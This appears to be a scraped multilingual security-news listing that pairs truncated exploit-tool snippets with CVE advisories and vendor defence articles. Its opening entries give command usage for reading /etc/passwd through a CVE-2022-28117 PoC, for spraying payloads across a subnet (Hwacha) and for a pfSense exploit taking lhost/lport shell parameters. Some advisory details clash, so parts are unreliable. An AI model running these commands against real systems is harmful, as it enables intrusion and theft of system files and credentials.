POC-CVE-2022-28117

CVE 2022 28117 PoC Python with slight modifications Usage : python3 .\poccve2022-28117.py -x file:///etc/passwd -u username -p password http://192.168.148.140/navigate...

Hwacha

Hwacha https://www.n00py.io/2017/12/raining-shells-on-linux-environments-with-hwacha/ Hwacha is a tool to quickly execute payloads on Nix based systems. Easily collect artifacts or execute shellcode on an entire subnet of systems for which credentials are obtained. root@kitploit: $python hwacha.p...

CVE-2014-4688

CVE-2014-4688 root@kitploit: python3 pfsense.py --rhost 10.10.10.60 --lhost 10.10.14.2 --lport 9999 --username rohit --password pfsense...

xcavator

xcavator ペネトレーションテストで取得した認証情報を用いてネットワークデータを探し出すツール。 Xcavatorは、IPアドレス範囲をスキャンしてファイルをホストするサービス（現時点ではFTP、FTPS、SMB）を探し、与えられた認証情報を使ってダウンロード可能なすべてのファイルをダウンロードし、その中から興味深い文字列をスキャンするツールです。 別のモードでは、ファイル名が正規表現に一致するファイルのみをダウンロードします。 開発: Nikos Laleas nikos d0t laleas at nccgroup d0t com...

cve-2024-42327

cve-2024-42327 사용법: cve-2024-42327.py -h -u URL -n USERNAME -p PASSWORD --example cve-2024-42327.py: 오류: 다음 인수가 필요합니다: -u/--url, -n/--username, -p/--password...

netgear-telenetenable

telnetenable.py - Paul Gebheim作 insanid氏により、新しいNetgearルーター（R7000、R7500）で動作するよう修正 以下から入手可能なCソースから翻訳: http://wiki.openwrt.org/toh/netgear/telnet.console 実行方法: python telnetenable.py IP - NetgearデバイスのIPアドレス。通常は192.168.1.1 MAC -...

n8n-nodes-sqlite3 vulnerable to path traversal via user-controlled database file path (db_path parameter)

Affected versions 1.0.0 Patched version 1.0.0 Description In versions prior to 1.0.0, the SQLite node accepted the database file path as a direct node parameter visible and editable in the workflow. A workflow author who mapped untrusted user input to the dbpath field could allow an attacker to...

Exploit for CVE-2026-19295

Description Proof o...

CVE-2026-56577

HCL MyCloud was affected with Weak Password Policy. It may increase the risk of account compromise through brute-force or credential-based attacks...

CVE-2026-56577 HCL MyCloud affected by Weak Password Policy

HCL MyCloud was affected with Weak Password Policy. It may increase the risk of account compromise through brute-force or credential-based attacks...

Containing a domain compromise: How predictive shielding shut down lateral movement

In this article 1. Predictive shielding overview 2. Attack chain overview 3. How predictive shielding changed the outcome 4. MITRE ATT&CK® techniques observed 5. Learn more In identity-based attack campaigns, any initial access activity can turn an already serious intrusion into a critical incide...

Google Introduces Agentic AI to Combat Cybersecurity Threats

Google enhances cybersecurity with Agentic AI, launching Unified Security to fight zero-day exploits, enterprise threats, and credential-based attacks.…...

Timing is Everything: The Role of Just-in-Time Privileged Access in Security Evolution

To minimize the risk of privilege misuse, a trend in the privileged access management PAM solution market involves implementing just-in-time JIT privileged access. This approach to privileged identity management aims to mitigate the risks associated with prolonged high-level access by granting...

Healthy security habits to fight credential breaches: Cyberattack Series

Fifty percent of Microsoft cybersecurity recovery engagements relate to ransomware,1 and 61 percent of all breaches involve credentials.2 In this second report in our ongoing Cyberattack Series, we look at the steps taken to discover, understand, and respond to a push-bombing request that targete...

SUSE CVE-2018-3775

Improper Authentication in Nextcloud Server prior to version 12.0.3 would allow an attacker that obtained user credentials to bypass the 2 Factor Authentication...

Zyxel AX7501-B0 安全漏洞

The Zyxel AX7501-B0 is a router from China Heqin Zyxel. A security vulnerability exists in the Zyxel AX7501-B0 version prior to V5.17ABPC.3C0. An attacker could exploit the vulnerability to access WLAN services using credentials...

CVE-2022-20963

A vulnerability in the web-based management interface of Cisco Identity Services Engine ISE could allow an authenticated, remote attacker to conduct a cross-site scripting XSS attack against a user of the web-based management interface of an affected device. This vulnerability is due to...

CVE-2022-37144

The PlexTrac platform prior to API version 1.17.0 does not restrict excessive MFA TOTP submission attempts. An unauthenticated remote attacker in possession of a valid username and password can bruteforce their way past MFA protections to login as the targeted user...

CheckMK Raw Edition 安全漏洞

tribe29 CheckMK Raw Edition is a comprehensive and flexible IT monitoring system from tribe29, Germany. A security vulnerability exists in CheckMK Raw Edition that originates from a successful exploit that requires the use of valid credentials or a user with the administrator role to hijack a...

Unauthorized Access Vulnerability in PoE Infrared Webcam of P&L Technologies Ltd.

hereinafter referred to as "TP-LINK" is a leading global supplier of network communication equipment. TP-LINK's PoE infrared webcam has an unauthorized access vulnerability, which can be exploited by attackers to directly steal real-time video streams by constructing usernames and passwords at...